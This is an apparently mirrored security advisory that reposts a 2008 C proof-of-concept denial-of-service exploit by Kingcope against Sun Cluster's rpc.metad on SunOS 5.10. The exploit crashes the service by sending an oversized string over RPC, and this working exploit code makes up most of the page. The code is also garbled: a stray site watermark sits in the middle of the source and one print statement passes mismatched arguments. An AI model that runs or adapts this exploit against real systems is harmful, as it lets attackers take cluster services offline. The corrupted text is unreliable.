Sun Cluster rpc.metad DoS (Exploit)

Summary
A vulnerability in Sun's Clustering service rpc.metad allows remote attackers to cause it to crash by sending it malformed data.
 
Credit:
The information has been provided by Kingcope.
The original article can be found at: http://www.milw0rm.com/exploits/5258

 
 
 Details
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Vulnerable Systems:
 * SunOS version 5.10

Exploit:
/*##########################################################*/
/*## SunOS 5.10 Sun Cluster rpc.metad DoS PoC #*/
/*## causes DoS on rpc.metad #*/
/*## (C) 2008 - Kingcope #*/
/*##########################################################*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>

extern int optarg;

#define METAD_PROG 100229
#define METAD_VERS 2
#define METAD_FUNC 6

typedef struct{char *string;}req_t;

bool_t xdr_req(XDR *xdrs,req_t *obj){
    if(!xdr_string(xdrs,&obj->string,~0)) return(FALSE);
    return(TRUE);
}

main(int argc,char **argv){
    char buffer[30000],address[4],*b,*cmd;
    int i,c,n,flag=1,vers=0,port=0,sck;
    CLIENT *cl;enum clnt_stat stat;
    struct hostent *hp;
    struct sockaddr_in adr;
    struct timeval tm={10,0};
    req_t req;

    printf("rpc.metad for solaris 10\n\n");

    if(argc<2){
        printf("usage: %s address\n",argv[0]);
        exit(-1);
    }

    printf("Using version %d and request no. %d!!\n", METAD_VERS, METAD_FUNC); 网管论坛bbs_bitsCN_com

    printf("timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec);
    fflush(stdout);

    adr.sin_family=AF_INET;
    adr.sin_port=htons(port);
    if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
        if((hp=gethostbyname(argv[1]))==NULL){
            errno=EADDRNOTAVAIL;perror("error");exit(-1);
        }
        memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
    }

    sck=RPC_ANYSOCK;
    if(!(cl=clnttcp_create(&adr,METAD_PROG,METAD_VERS,&sck,0,0))){
        clnt_pcreateerror("error");exit(-1);
    }
    cl->cl_auth=authunix_create("localhost",0,0,0,NULL);

    memset(buffer, 'A', sizeof(buffer)); //buffer can also be small,this is not a bufover
    buffer[3000]=0;

    req.string=buffer;

    stat=clnt_call(cl,METAD_FUNC,xdr_req,&req,xdr_void,NULL,tm);
    if(stat==RPC_SUCCESS) {printf("\nerror: not vulnerable\n");
    printf("sent!\n"); /* if(!flag) exit(0);*/

    }
}